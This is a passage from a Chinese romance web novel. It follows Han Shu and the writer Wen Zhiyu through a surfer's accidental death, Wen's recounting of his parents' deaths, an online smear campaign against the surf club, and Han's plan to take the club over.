闻知屿愣怔,反应过来后立即抬手捂住下颌,不叫那柔软的触感溜走。他蹦蹦跳跳地走到门口,头杵进门板和门框形成狭窄区域,“晚安,小暑。” 温柔的男声穿过门缝,直直落进韩暑的耳朵。 将将稳重了些的小心脏再次活蹦乱跳起来,她一手捂着胸口一手捂脸,原地蛄蛹了好一会后又扑进床上蛄蛹。 小暑。 他叫她小暑哎! 爹妈叫她小暑,好朋友也叫她小暑,怎么偏偏出自他口时显得那么亲密暧昧。 韩暑翻了个身,脸埋进被子哧哧地笑,连什么时候睡着都不知道。 闻知屿一步三台阶冲到二楼,没去书房没回卧室,而是直奔健身房猛猛练了一小时的无氧、练了二十分钟划船机、跑了二十分钟步又洗了个澡,这才拖着疲惫的身躯平展躺下。 第二天,秦建瓴赶了个大早回别墅。 一进门,便看到闻知屿端坐在沙发上,双目盯着客房的门。送他一双镭射眼,只怕不只是门板多两个洞,估计整个房间都要熊熊燃烧起来。 “哎!”秦建瓴把行李箱留下门廊,拖着步子走近,一掌直呼闻知屿的脑门,“望妻石?” 闻知屿屁股挪呀挪,从沙发左边挪到右边,绕开障碍物,继续盯着不放。 秦建瓴没眼看,绕到单人沙发坐下,“我说,你能不能正常一点?” “闭嘴。”闻知屿没好气,“跟你有什么关系?” “跟我是没关系,跟你女朋友有关系。” “什么意思?” 秦建瓴昨天没睡好,噩梦连天鬼压床,这会倦得不得了,双手摁太阳穴,“你表现得太夸张,会给人家压力。试想,你刚睡醒一开门,发现有个人眼都不眨盯着你,你怕不怕?” 闻知屿想了想,“如果是你的话,怕。她的话,开心。” “……”秦建瓴失语。 好巧不巧,客房的门咔哒一声打开了。 韩暑打着哈欠走出来,立即对上了闻知屿直勾勾的视线。她粲然一笑,“早!” “早。”门开的瞬间闻知屿就迎了上去,还不忘回头瞥秦建瓴一眼。 秦建瓴:…… 一个萝卜一个坑,多余叮嘱那一句。 秦建瓴下午的航班,早上还有些工作上的事情需要沟通处理。 楼上楼下的事,被押送至书房的闻知屿扒着楼梯扶手依依惜别反复叮嘱。 “我处理完就下来,中午的饭我来做。” 韩暑憋笑,“嗯。” “不去戒浪的话,晚上我们去滑滑板。” “好。” “那你晚上想吃什——” 秦建瓴忍无可忍,一把搂住闻知屿的胳膊来了个锁喉,强行制止拥有无止尽的絮叨。 “见笑了。”秦建瓴冲韩暑抱歉地笑了下,拽着人往楼上走,咬牙切齿道,“占用你两小时而已,至于这么夸张吗!明天方案就要定了你能不能清醒一点!!!” 闻知屿被秦建瓴夹着脑瓜,拐弯时还不忘冲韩暑挥手,艰难发声,“等我一——” 当两人的身影消失,跌跌撞撞的脚步声以关门声告终,韩暑终于放声笑了出来。 可爱,可爱鬼。 闻知屿去忙,韩暑也回房间给春景去了个电话。 台风结束后,戒浪也一直处于停业状态。春景那边在忙,只得三言两语大致同步近况。目前男生已确认遇难,家属今天下午到。 “需要的话我下午就过来。” “不用。”春景压低声音,“铭哥和小宇都在,人太多反而不好,像是在给家属施压。” “那我明早来。”韩暑坚定。 春景本还想拒绝,那头突然传来一阵嘈杂声,电话也仓促挂断。 韩暑叹了口气。这么年轻就意外离世,对于家属来说如同灭顶之灾,单是想象都觉得难以接受。 她莫名有些不安,捞起未读完的闻知屿的新书看了起来。 关于新书,秦建瓴和闻知屿拍板定下封面,漫长的会议终于画上句号。 “我先下楼。”闻知屿不等秦建瓴收起桌上的资料和电脑,开门就要走。 “等等!”秦建瓴走过去把人又拉了回来。 闻知屿急火火地原地踱步,“还有事?” “嗯,私人的事。” “快说。” 秦建瓴深吸一口气,“韩暑是北城人,父母家人都在北城,现在来散旅居是暂时的,早晚要回去。你想好之后怎么办了吗?” 第47章 第47章【VIP】 秦建翎来也匆匆去也匆匆,在小情侣蜜里调油的生活里走了一遭,孤零零地去了机场。 韩暑坐在滑板上,两只脚支地一前一后悠来悠去,“秦老师来回奔波,应该送送他的。” 闻知屿疾驰而来,后脚用力前脚向前滑动,凌空中双翘上下翻转360度,轮子落地的瞬间已然控制住了方向,最终尾刹停在了她旁边,“用不着,他又不是三岁小孩。” 韩暑目瞪口呆,立刻忘了孤苦伶仃秦老师,“你什么时候学会的尖翻?!我怎么不知道!!” 闻知屿打开肩膀挺起胸膛,轻描淡写道:“你回北城那段时间,也就练了几次吧。” 几次? 韩暑爬起来,眨巴眼睛指自己,“我也要学。” 闻知屿抵住滑板,伸出手掌心向上。韩暑自然地拉住,小心翼翼站上板,正要问技巧,他勾唇道:“先交学费。” “……怎么交?” 闻知屿侧首,又点了点自己的脸颊,暗示意味十足。 韩暑抿唇笑。这番她站在滑板上,垫高了十厘米。虽依旧不及闻知屿,但也是高了,于是揪着他的衣领将人拉近了些,亲了亲他伸过来的右脸。 闻知屿刻意绷着脸,但眼角眉梢的笑意无处藏匿。 韩暑切了一声,扳过他的脑袋,在左脸上又落下一吻,“双倍,教不教?” 闻知屿后撤半步,又牵住她另一只手,“教。” 可惜尖翻并不是一日便能速成的,韩暑练了一个小时,才将将领会了一丁点诀窍。 她坐在路沿上休息,狐疑地问:“你就练了几次,就能学会?” “嗯。” 闻知屿一个快速上板,又一个shovit倒滑,故意在她面前晃了一圈。果然,韩暑被这番炫技吸引,忘了方才的问题。想起自己为练动作摔得四仰八叉或五体投地的模样,他打了个哆嗦,决定将这段回忆掩埋,绝不让韩暑知晓。 天色暗下去,两人一人滑双翘一人滑路冲并肩而行,到家门口收起板,闻知屿一手掂一个放进车库,筋疲力竭的韩暑刷指纹先进了屋。 第一天吃过早饭,闻知屿载着韩暑直奔后海。 路上,韩暑坐立难安。她昨天发了好几条微信,可春景一直没回,还不知道是什么情况。 闻知屿察觉到她的情绪,牵住她的手,十指相扣。 台风将过,戒浪门前那一条路上遍地都是残枝败叶,碎石横陈,轮胎压过去时偶有树枝断裂的闷响。天虽泛晴,可开着的店极少,行人零星,显得格外萧瑟。 韩暑直奔戒浪,发现店面门窗紧锁,“难道还在警局吗?” 闻知屿绕过台阶至院墙,动了动耳朵,“院子里有声音。 韩暑小跑过来,侧耳倾听,“有哭声。” 两人对视一眼都觉得不妙,立刻从半开的铁门钻了进去,向声音来源处靠近。 绕过落满枝叶的泳池,穿过喝饱水后青翠欲滴的花草树木,哭声愈来愈清晰,与此同时还有春景低哑的解释。 “那天浪比较大,很容易脱手。特别是在人向外游而板被拖在后头,脚绳绷直,承受不住巨大的拉力就会断离。” 穿过小路,视野骤然开阔。 这边是放置冲浪板的地方,靠墙而立,有学员用和外租的印有戒浪logo的长板,有常客在此存放的板,色彩缤纷,形状大小各有不同。 这里曾是欢声笑语之地,浪人们提上自己的板簇拥着下海,或是一边交流方才冲的大浪、新学的技术一边放回,转而乐呵呵地去冲沙。 然而此刻,春景和铭哥站在一旁神情沉重。在他们面前,一位头发花白的男人坐在地下掩面不语,而佝偻着身躯哭泣的女人走上前去。 一十多只冲浪板,她从左那一只开始扯连接的脚绳。她很用力,但粗绳韧性十足,怎么扯都不会开裂半分。于是她抽噎着向右踉跄一步,去扯下一只脚绳,得到的是一样的结果。 可女人依旧不放弃,一个挨一个去扯,走过链接水龙头的软管时被拌住脚踝跌倒在地。 春景立刻去扶,却被她甩开了手。 “为什么只有我儿子的会断!这么多冲浪板、为什么只有我儿子的会断!!!” 可没有任何人能够回答这个问题。 女人匍匐下去,双手还紧紧拉着一只脚绳,哭得声嘶力竭。那是一个母亲失去孩子后痛苦的嘶吼。 春景,一时手足无措。 见状,韩北花袄丝巾,走上前披在她肩上,遮挡住凌乱的衣衫。 女人瑟缩,低头一看明白过来,急忙将丝,试探着抻住她的手臂,“阿姨,我扶您去那边坐。” 还好,女人没起,又冲春景使了个眼色。 夫妻一人知道最后都没进俱乐部,只是坐在门口的台阶上,喝了两杯韩暑端过去的茶水。 韩暑坐在店内高脚椅上,定定地望着。忽然,落进了一个温暖坚实的怀抱。 她拉住落在肩膀上的大手,叹息,“你说,他们在看什么?” 闻知屿看着她,也向外看去,“在看海。” 这对夫妻在沉默中目视前方,身上落了叶子也不管,只是呆呆地看着。 韩暑心里难受,又说不上来怎么难受。听春景说,遇难者是独生子女,父母本来就不支持他冲浪,无奈儿子坚持,视冲浪为人生目标不断努力。 如今,尽头竟是白发人送黑发人。 春景和警察解释了脚绳的情况后,警察带着这对夫妻离开了。 春景看到紧紧依偎的一人也不惊讶,低声说了句“谢谢。” 韩暑摇摇头,迎上去,“现在警察怎么说?” “还不知道。”春景和铭哥对视,“但无论什么结果,毕竟是租用店里的冲浪板出事,我一定会承担经济赔偿。” “那、俱乐部这边怎么计划?” “先停业吧,等事情告一段落再说。小暑,你就不用每天都过来了,之后恢复我再联系。” 目前也只能这样了。 韩暑百般叮嘱之后,在春景铭哥的坚持下离开了。 闻知屿当晚,做了一个无比漫长的梦,在梦里,度过了无比漫长的一天。 “你妈妈说了,今天不能出来。” 闻知屿被阿姨挡在门口,只得退回房间,可是——” “没有可是,去玩会积木。”阿姨忽然侧耳。 闻知屿也努力去听,隐约听到了男人的声音和关车门的动静。 “好了,进去吧。”阿姨说罢,砰一声带上门离开了。 闻知屿将小板凳拉到窗户边,站上去踮起脚,终于够到了窗户把手。他使出全身力气拉开,清新的空气协同清晰的对话涌入房间。 “闻先生,一个半小时后的航班,时间很紧。” “五分钟,到五分钟摁喇叭喊我。” “好的。” 闻启将西装外套扔进车里,很快身影便消失在了视野盲区。没一会,阿姨骑着车出了门。 闻知屿继续扒着窗台看。那是一辆黑色的轿车,形状有点方,和平时见的不太一样。他心生好奇,扒着窗户扶手硬是站在了窗台上。 “滴滴!” 喇叭声骤响,闻知屿吓一跳,险些跌下去,还好拉住窗帘稳了身形。 这一闪唤回他的理智。如果阿姨进来看到,一定会给妈妈告状。想到这,他又小心翼翼地踩住凳子,蹦了下来。 “滴滴!” 不多时,又是一阵接一阵的喇叭声。 闻知屿觉得有些奇怪,想出去却又碍于吩咐不敢。踟蹰之间,楼梯方向忽然传来响动。他慢吞吞地走到门边,耳朵刚贴近门缝—— “啊!!!” 是梁松的声音。 闻知屿第一次听她发出这样的声音,颤抖中似乎很是恐惧。 他莫名感到害怕紧张,但又很想知道发生了什么,第一次鼓起勇气罔顾梁松的吩咐,开门走了出去。 闻知屿光着脚,沿着走廊缓缓靠近楼梯间。每靠近一分,男人粗重混乱的呼吸声就近一分。 终于走到栏杆处,他蹑手蹑脚地靠近,拉着栏杆,垫脚向下看。 他对上了梁松的眼睛。 对上了头朝下躺在台阶上、满脸是血的梁松,已经木然失神的眼睛。 闻启蹲在旁边,肥胖的身躯像缝纫机一样高频颤抖,一手捂着脸,另一手哆哆嗦嗦地去探梁松的呼吸。 闻知屿完全呆了,身体僵直,连一根手指都动不了。始终保持着自三楼向下望的姿势,望着妈妈的眼睛。 她在看他吗?她有看到他吗? 闻启跌坐在地,失声哭了起来。呜呜咽咽的,听起来像动物世界里,还没断奶的动物幼崽。 “滴滴!” 又一声喇叭响起。 闻知屿终于从动弹不得的状态解脱,拔腿便冲回了房间,反锁后躲在窗帘后面。 他还没明白发生了什么,外面天很蓝,还有几朵悬停的云。他迫使自己去想象那朵云背后有一座城堡,在那里有源源不断的食物和玩具,还有梁松牵着他的手,或许——还有楼下那辆看起来很神奇的车。 那里会很安全。 闻知屿慢慢地松开了紧紧攥拳的手,仿佛置身于那座城堡,被快乐环绕包围。 直到一个黑影自眼前一闪而过。 “砰!!!” 巨响过后,是车子刺耳的警报声。 闻知屿再一次踩着板凳爬上窗台,向下一看—— 闻启头杵在地下,身子斜靠着轿车,白衬衫上缓缓绽开一朵艳丽的花。 闻知屿终于明白了。 闻启死了,梁松也死了。 他无助地后退,想要离开这里,想要逃向那座快乐的城堡。忽然,踩在窗户边沿的右脚一空,强烈的失重感来袭—— 闻知屿睁开了眼睛。 从后海回来,韩暑觉得筋疲力尽,不到八点便回房休息了。奇怪的是,越疲惫越睡不着,生生挨到凌晨一点多,眼睛还像铜铃。 她放弃了,爬起来看书,然而还没翻两页,便听到楼梯自上而下闷闷的脚步声。 很轻很轻,在夜里却格外清晰。 闻知屿也没睡? 韩暑检查了下自己的仪容仪表,这才悄声拉开门,试探地向外看。 借着隔窗而入的冷白路灯,她隐约看到一个黑影坐在楼梯口,头埋于双臂之间一动不动。她压下疑惑,光脚走出房间,在闻知屿面前蹲了下来。 “闻知屿。”她唤道。 闻知屿依旧埋着头,声音自臂弯阻隔后显得格外低哑,“抱歉,能陪我待一会吗?就一小会。” 韩暑单膝着地,用纤细的手臂竭力圈住男人宽阔却不在笔挺的身躯,“多久都可以。” 她不知道他怎么了,也不知道说什么可以安慰。 于是她轻声说:“我爱你。” 第48章 第48章【VIP】 韩暑嗖得捂住嘴巴。 啊啊啊她刚说了什么??? 谁会在恋爱第三天就说我爱你呀!!! 闻知屿抬起头来,黑眸幽暗令人心惊。 韩暑莫名紧张,“不是,我、我——” 后腰骤然落下一股无法抵抗的力道,天旋地转,韩暑落进了一个硬邦邦又坚实的怀抱。惊慌之间,她拉住楼梯栏杆,木质框架发出咯吱咯吱的声响,划破寂静的夜,心间也泛起涟漪。 闻知屿大掌抚过她因为憋气鼓起的腮帮,先是如羽毛一般轻柔,旋即用力捏住她的下颌,气势汹汹地吻了上去。韩暑猝然睁大眼睛,脸颊的气息、低垂的睫毛还有唇齿间霸道的攻势都在刺激她的五感,又令她一软,险些从男人的腿上滑落。 腰间横贯的手臂收紧,立刻撑住了她全身力量,与此同时也切断了她的退路。她仰着颈,在愈发纷乱的呼吸中节节败退,又寸寸前移。 当初始的狂烈散去,闻知屿吻过她紧绷的腮帮,吻过她滚烫的耳垂,吻过她纤细的颈侧。 他哑声,“对不起。” 韩暑眨了眨眼,终于反应过来他们此刻处于如何暧昧的姿势,慌忙后撤自他腿上跌坐在地,掌下是地毯柔软的触感,耳边是擂鼓一般的心跳。她觉得自己整个人都在燃烧,羞到抬不起头,于是缩到墙角边,额头抵住墙陷入自闭。 闻知屿也为自己的冲动而不好意思,面朝栏杆的方向背对韩暑,突兀地清了好一会嗓子。只是……他摸了摸酥麻的唇边,笑意在不受控地流淌。 韩暑不觉十指交叉,两个大拇指蹭来蹭去,“我刚什么都没说,你什么都没听见。” 身后始终无人应答。 “哎,听见了没?” 闻知屿还是不应。 韩暑急了,也顾不得当鸵鸟了,回过头道:“你不要装——” 一只手指抵住了她微张的唇瓣。 “嘘。”闻知屿说,“我也爱你。” 方才还未熄灭的火焰添了把柴火,再次熊熊燃烧了起来。 韩暑还维持着抬手要抓他的动作,好半天连眼睛都忘了眨。 闻知屿撤了手,轻笑,“你什么都没说,都是我说的。” 韩暑还僵在原地。 见状,闻知屿轻点她的鼻尖,学着她方才的语气,“听见了没?” 韩暑倏然回神,嘤一声,把脸埋进两只手,又把脑袋埋于双膝之间,然后瓮声瓮气道:“听见了。” 这番姿势,韩暑整个人都团了起来,莫名让闻知屿想到经常在猫爬架顶上团成个圈的小咪。 他似乎有点理解,为什么人类会觉得猫猫可爱了。 韩暑察觉他在看她,只得就着这样的姿势问:“你今天怎么了?” 等了好一会,闻知屿才轻声说:“做梦了。” 韩暑愣了片刻,缓缓抬起头来,“噩梦。” “真实的梦。”闻知屿的侧颜紧绷到了极致,喉结上下滚动,“听我讲个故事?” 韩暑直觉这不会是个美好的故事,挽住他的胳膊,又倚上他的肩,“好。” 这是一个小男孩的故事。 不像家的家,心不在焉的妈妈,偶尔出现的爸爸。只有爸爸来时,妈妈会出现短暂的笑容。所谓短暂,不过是他能看到的短暂,因为大部分时间还是被关在房间里不许出去。 而爸爸不在时,她总是绷着脸,咬着根烟,老远看到他便会不耐烦地挥手。 直到有一天,妈妈躺在楼梯上,而爸爸躺在了水泥地上。 “你知道吗?”闻知屿说,“最可笑的是,当时我妈并没有死,在ICU抢救好些天才撒手人寰。而我的生父,因为畏罪跳楼当场毙命。” 这是一个荒谬到极致的故事,荒谬到任何一个环节都令人匪夷所思。韩暑消化了好一阵后道:“你躺在楼梯上问我的问题,也是真实的,是吗?” “嗯。”闻知屿苦笑,“我从台阶上摔下来直接晕过去了,被警笛声吵醒。我爬起来就往楼下跑,恰好看到医生把我妈抬上担架。我冲上去想拉住她,被警察拦住,挣扎的时候也摔倒了。我躺在那,第一次以这样的视角去看天花板,恰好看到了一片像蜘蛛网一样的裂缝。” “你之前说想写现实题材,是想写你自己的故事。”韩暑收紧手臂,心尖刺痛。 “嗯。”闻知屿自嘲一笑,“但我这个故事里,我弄不清他们每个人的动机,的行为。” 生了什么?” 闻知屿掏出手机,在,然后递了过来。 ,瞳孔微缩,“你是——” “嗯。”闻知屿嗓音艰涩,“他的……不知道第几个情妇的第几个私生子。” 韩暑知道闻启这个名字。 这件事发生的年份久远,但却是北城人民津津乐道的茶余饭后闲谈的素材之一。坠楼而亡是既定的事实,但坠楼的原因众说纷纭。有人说是贪污受贿后畏罪自裁,有人说是阴谋论被杀人灭口,有人说是酒后意外。 谁都想不到,真相竟是如此。 “后事都是我生父的妻子处理的,她承担了我妈的所有医疗费用,又在我妈去世后将我送到了福利院。”闻知屿抽出手臂,转而圈住韩暑,“可她明明那么厌恶我们……” 韩暑靠在他胸前,耳边是男人并不平静的心跳,“你无法选择自己的出身,你没做错任何事。” “我的存在本身就是错误。”闻知屿道。 “你的出生或许是错误。”韩暑仰头,亲了亲他的喉结,“你的存在不是,是馈赠。” 闻知屿一怔,垂眸,望进一双满是心疼的亮晶晶的眼睛。 一滴泪自眼尾滑落,晶莹剔透,藏匿了月光。韩暑笑道:“你无法选择出身,但可以选择自己的人生。从前你是孤儿院里的小王子,后来是才华横溢的青年作家,现在是我的男朋友。你要是错误,那你女朋友怎么办?” 闻知屿生来就是一座漂泊不定的岛屿。成名之前的生活便是用微薄的救助金读书或拿着微薄的稿费颠沛流离,后来经济变得富足,定居在远离北城的琼岛,看似拥有了一座坚不可摧、富丽堂皇的房子,一如四岁那年被云朵掩住的想象中的城堡。可他的心却依旧飘如浮萍,寻不到安定之处。 但此刻,岛屿变成一艘船,锚定了家的方向。 闻知屿吻住怀中人的额头,郑重至极,珍重至极,缱绻至极。 可韩暑却哭了。 雨夜里玩跳跳杆的闻知屿,在积水中划皮划艇的闻知屿,提着胶带着急去玩游戏的闻知屿,不停偷瞄鸡蛋的闻知屿……无数个身影于泪水模糊的视线中重叠,又一点点缩小。 他始终是那个坐在房间里孤零零玩积木的小男孩,始终期待着那扇门从外打开,始终等待着有人听到他无声的呼唤。 “别哭。”闻知屿吻她湿漉漉的脸,吻那源源不断的泪珠,“我现在很好。只是今天看到遇难男孩的父亲掩面哭泣的样子,想起了过去的事情,所以才做了这个梦……其实早都忘了。” “你骗我。”韩暑却哭得更凶了,“真忘记了,*怎么会坚持写这个故事?你、你那时候天天顶着两个黑眼圈,一个字写不出来也不睡觉,我还以为你江郎才尽了呢!” 闻知屿失笑,“江郎才尽?宝贝,我可是刚出了本新书。” 韩暑用手背蹭了蹭脸,“反正、反正你就是骗我。” 闻知屿微叹,“说完全忘掉确实不太可能,偶尔梦到心里还会难受。但我很喜欢现在的生活,这是真心话。” “嗯。”韩暑用力点头,“无论如何,你的生活中肯定有我。所以心情不好的时候,一定要和我说。” 闻知屿再次收紧手臂,一阵暖流随怀中人的呼吸起伏席卷四肢百骸,“好。” 台阶上的男女紧紧依偎,当冷白的月光被清晨温暖的曙光取代,黎明驱散黑夜,氤氲的爱意驱散午夜梦回的无助。 韩暑意识抽离了一瞬,脑袋向前猛一点后骤然惊醒,“我、我睡着了?” 闻知屿攥了攥她的手,“回房间睡一会吧。” “嗯。”韩暑懵懵地点头,懵懵地起身—— 没站起来。 闻知屿拉住她,瞥了眼二楼楼梯拐角,“之前的入住手册里写着,房客不允许踏足二楼。” 一宿没睡的困倦彻底侵蚀了韩暑的思维。她茫然,“怎么了?” “你现在不是房客了。” 闻知屿单手撑地起身,抄膝窝将人抱了起来。 韩暑赶紧圈住他的肩颈,失声惊叫,“哎!干什么!” 百余斤的重量,闻知屿单手抱得轻轻松松,大步流星地走上二楼,“你现在是这件房子的女主人,当然要睡主卧。” 韩暑:!!! 什什什么?这这这是睡在一起的意思吗?睡睡睡在一起会发生什么??? 不等她转过脑筋,圈着她的手臂一松,便陷入了柔软的大床。瞬间,床褥上清冽气息铺天盖地席卷而来。 闻知屿拉过被子将人裹成一个蚕蛹,这才收起半跪在床沿的膝盖,“睡吧。” 韩暑藏起下巴,只露出两只扑闪的杏眸,“那、你呢?” 闻知屿指一旁的沙发,“我睡那。” 韩暑看过去,那是一个至多一米五的小双人沙发。闻知屿人高马大,必定是伸展不开的。 眼看闻知屿抱起枕头,她蛄蛹着伸出胳膊,拉住了他的手腕。 “你、你和我一起。”她抿着唇,小声说。 闻知屿愣怔,不敢相信自己的耳朵,“什么?” 韩暑不知道哪来的勇气,先往床另一侧挪了挪,向后躺的瞬间手臂用力—— 闻知屿毫无防备地躺在了她身旁。 四目相对,韩暑羞得眼皮都泛了红,还强撑着装出浑不在意的模样,“沙发不舒服,一起。” 闻知屿嗅着她发间的馨香,全身僵直,“那我去隔壁客房。” “你也是房子的主人,也要睡主卧。” 韩暑展开被子,将一半盖在闻知屿身上,又在他胸前找了个位置,不动了。 此刻,与欣喜、羞涩相交织的,还有隐隐的担忧和茫然。 北城,北城。 她和他的未来,到底在何方。 第49章 第49章【VIP】 韩暑迷迷糊糊之间,先是感觉脖子膈得要命,好像枕的不是枕头而是铁块。她翻了个身,想要爬远一点,结果腰间似有一圈铁箍,怎么努力都动弹不得。 她有点生气,恨恨地拍了一把。 “啪!” 听声音怎么有点奇怪? 韩暑顺着腰往上摸,掌心硬梆梆,同时还挺滑溜。她翻身平躺,继续往上摸,摸到了一块软和的布料,搓一搓—— 衣服袖边? 那没事了。 韩暑猝然睁眼。 衣衣衣衣衣服? 入目,腰间横着的是一只赤裸坚实的手臂。她倒吸一口气,动都不敢动,只有眼珠子顺着那流畅的肌肉线条移动,再移动。 从近在咫尺白T下随呼吸起伏的胸膛,到被枕头遮挡只露半张的沉静睡颜…… 韩暑嘴巴咧成一条直线,差点哭出来。 不是,她早上困傻了吧,怎么主动拉着闻知屿睡在一起?现在怎么办?这他要醒过来,得多尴尬呀? 不然,跑吧! 韩暑攥住男人的手肘,一点一点抬起来,又一点一点搬到旁边。 呼!怪累的。她喘了口气,正要坐起来,闻知屿从向左侧躺转为平躺,原被她枕住的左臂顺势收拢。 韩暑吧唧一下,脸正正好贴上闻知屿的心脏上方。 “砰!砰!砰!” 呼吸起伏与心跳声同频。 这次的枕头比方才更硬邦,甚至还时高时低,但她却一点都气不起来。 闻知屿还睡得沉,估计前几天又熬夜了。 韩暑叹了口气,没再折腾了,安安静静地等,好让他多休息一阵。这一等,就是一个多小时。 先是呼吸变得清浅,然后心跳陡然加速,闻知屿醒了。 韩暑紧紧闭着眼,一动不动。男人胸膛抬起,旋即缓缓躺了回去,过了几秒,圈住她的手臂松了,枕头随之龟速向床外侧移动。每移动一寸,她便滑落一寸,不知过了就,终于埋进了真正的枕头。 她察觉闻知屿坐了起来,床边一震,应该是他站起来。她有点想笑,藏在被子里的手紧紧蜷缩,好不容易忍过笑点攻击,一片柔软落在了唇边。 闻知屿吻了她。 韩暑再也忍不住睁开眼,恰对上咫尺之间爱意氤氲的眸子。 闻知屿吓一跳,撑床的手臂一软,险些栽回来。他飞速起身,抓了抓头顶的鸟窝,冷白的肌肤上肉眼可见得被红色侵袭,“咳,早安。” “早——” 韩暑不仅没来得及害羞,话都没说完,只见闻知屿掉头就走直冲浴室,没一分钟,唰唰水声响起。 原本是觉得一大男人害羞起来也很可爱,没曾想听了一小会,她便躺不住了。 水声时大时小,水滴飞溅的声音也百般变化。透过磨砂玻璃门,偶尔有男人的身影闪过,似乎是在洗手台上取东西。 韩暑立刻错开视线,一骨碌爬起来就逃。 该说不说,这也太不好意思了!这和偷听偷窥别人洗澡有什么区别! 闻知屿着急忙慌地冲完澡出来,大床上的人已消失不见。他用毛巾擦了擦挂满水珠的头发和面颊,望着凉被被拉至床边的褶皱还有枕头上明显属于两个人的痕迹,感觉有什么东西在顺着血液流动一点点填入胸腔。 这间空荡的房间,随之而生动充盈。 两人睡醒已是午后一点,吃过比午饭还晚的早饭已是两点多。 闻知屿自觉洗碗,韩暑摊在沙发上发饭晕,顺便刷刷手机。这一看,便看到一条正在热议的帖子。 【无良店家租借问题冲浪板,造成18岁少年殒命大海】 首图是台风后戒浪闭店的照片。原本蓝白的亮色门头被拍得灰蒙蒙,倾倒的立牌、满地残枝,打眼一看像是倒闭跑路。 韩暑心下一沉,立刻点开正文,果不其然引导性十足。 全篇抓住了“网红店”“脚绳断裂”“店家闭门不开逃避事实”三个点,将戒浪塑造成罔顾人命只为盈利,诱骗18岁少年租借问题冲浪板,且在大风大浪天气还坚持营业的无良商家。 评论里一水的骂声,还有之前来过的客人站出来说戒浪全靠营销火起来,其实价格高昂货不对板。还有的说教练不专业、服务态度不够好、安全保障不足。 【大风大浪还租冲浪板,要钱不要命,罔顾客人的安全。】 【良心,老板不会害怕吗?】 【才18岁这么年轻,大好人生才刚开始。害死人就得偿命!】 【所谓冲浪俱乐部只是挂个牌子,其实一点都不专业。】 【专业能出这种事?三瓜两枣臭水平就敢当教练,能不能整顿一下这个行业啊。】 【复议,琼岛好多类似的俱乐部,全】 【,我都不敢进去,更别提服务态度了】 【传说中的主理人?只跟自己的小圈子说笑,看客人爱答不理那种。】 【占据了好位置,靠,看回头率就知道有问题,就是赚快钱。】 韩暑拉着闻知屿,马不停蹄地赶到后海。 台风已过去好些天,临海这条路上大部分店都正常开门,可客流量少得吓人,海滩上晒太阳的人也极少,更别提浪人。 戒浪依然关店,韩暑从后门绕了进去,让闻知屿在院子里等,自己径直去了春景的房间。 “你怎么来了?”门后,露出春景有些憔悴的面容。 韩暑捏着手机,“你有看到关于戒浪帖子吗?” 春景闭了闭眼,拿起手机,在屏幕上点了几下后递来—— 戒浪官方账号的私信里,铺天盖地全都是辱骂和攻击。 韩暑滑了好几下都滑不到底,其中最温柔的说辞竟然是杀人偿命。她按下锁屏,“你打算怎么回应?” 春景笑了笑,摇头道:“不回应。” “为什么?这明显都是无理攻击!” “但我确实做错了事。”春景倚着门框,难掩颓唐,身形也比之前瘦削了许多,“我没有问清楚他的能力水平,在那样的天气贸然租借冲浪板,挨骂也是应该的。” 春景必定是非常自责的,可她的自责是因为她具有道德心和责任心,不代表她真的该“偿命”。韩暑上前抱住她,“那戒浪呢?一直不开门吗?” 春景用力回抱,“我和铭哥商量过了,打算转让。” 韩暑一僵,失声问:“转让?” “对。”春景拉着韩暑步入室外,在院落里的石阶坐下。 闻知屿远远看过来,冲春景轻轻颔首。春景挥了下手回应,语调平平,“一方面是我在琼岛待了五年,确实有挪挪窝的打算。另一方面,经历了这件事,我确实不想继续开店了。” 韩暑着急道:“你不要听这些人胡说,你是最好的浪人也是最好的老板,戒浪能走到今天,宣传只是其中的一小部分。你做的饮品质量好性价比高,服务更是没得说!” “谢谢。”春景遥望平静的大海,神色悠远似陷入回忆,“我回国开店的时候,是有雄心壮志的。那会冲浪是比现在还小众的运动,每天能遇到的浪人一只手都能数得过来。他们一听说我要开冲浪俱乐部,都认为我是闲得没事干烧钱玩,保准三个月都挨不到就倒闭。” 彼时,冲浪只存在欧美电影里,距离大家的生活格外遥远。韩暑也是近两年才了解到还有冲浪俱乐部的存在。 “我热爱这项运动,所以希望更多人了解到我的热爱,热爱我的热爱。戒浪就可以是同道中人的休息交流站,大家因为冲浪相聚,又因为相聚将这项运动发扬,让更多人加入我们……从单纯的俱乐部到咖啡饮品店,再到推出体验课,我走了很多弯路做过很多尝试,一度濒临倒闭。但我做到了,实现了最初看似不可能实现的目标。” 春景吐去胸腔的浊气,“现在,因为我的失误,所有的冲浪俱乐部都被攻击被质疑——” “这不是你的失误。”韩暑打断,“冲浪本身就是一项极限运动,任何极限运动都有风险,而风险只能自己承担。那天大浪,选择下海的不是你,你按照规程进行了询问和登记,尽到了应有的职责。每天早上当值教练都会检查冲浪板,既然能租借就说明脚绳本身没有问题。谁都不希望意外发生,可海浪无情。” “但我没有第一时间发现,就是我的失误。”春景摸了摸她的脑袋,“不用劝我,我都想好了。借此机会,我也休息一段时间,只冲浪,不用操心店里杂七杂八的事。” 回别墅的路上,韩暑心里很不是滋味。 春景虽然没有明说,但她坚持向遇难者父母赔偿,对流言蜚语全盘接受又一举关店的行为,某种意义上是赎罪,也是独自承担炮火攻击,以免发出任何解释后连累整个行业。 韩暑想起了第一次走进戒浪,春景看出她的窘迫,笑意盈盈挽上来的样子,还有在她丧失信心时鼓励她的时刻、踏浪破风前行的自由……这家店和这家店的老板,在她人生最迷茫的时候为她亮起的明灯至今不灭。 车子停进地库,闻知屿解开安全带正要下车,被韩暑拉住了手腕。 她望过去,眼神里有坚定也有犹豫,有勇气也有担忧,“如果我说我想接下戒浪,你会觉得我很愚蠢幼稚吗?” 闻知屿敛眸,用拇指摩挲她的手腕内侧,似在思忖。良久,他轻轻笑了一声,“我之前和你说过一句话。哪怕你没有丈夫,也依然作数。” 韩暑眨眼,“什么?” “去尝试一切你丈夫或父母不喜欢不同意不陪你做的事情。和我一起。” 第50章 第50章【VIP】 一晚上,韩暑都在做项目评估、方案设计和投资测算。大到未来发展规划,小到千把块钱该怎么花,经管学子的专业能力只是浅浅发挥,便把旁观的闻知屿震了三震。 “这、都是凭空想出来的?” “什么叫凭空?”韩暑咔哒咔哒摁圆珠笔头,“这都是期末周无数次通宵复习积累的血和泪,还有实习和工作中掉火坑积攒的经验。” 闻知屿捏捏她的脸颊,发自内心道:“你真棒,特别棒。” 自幼儿园后韩暑再没被这么夸过了。她扑哧一声笑了出来,“都是小打小闹,和财大气粗的闻老师比不了。” 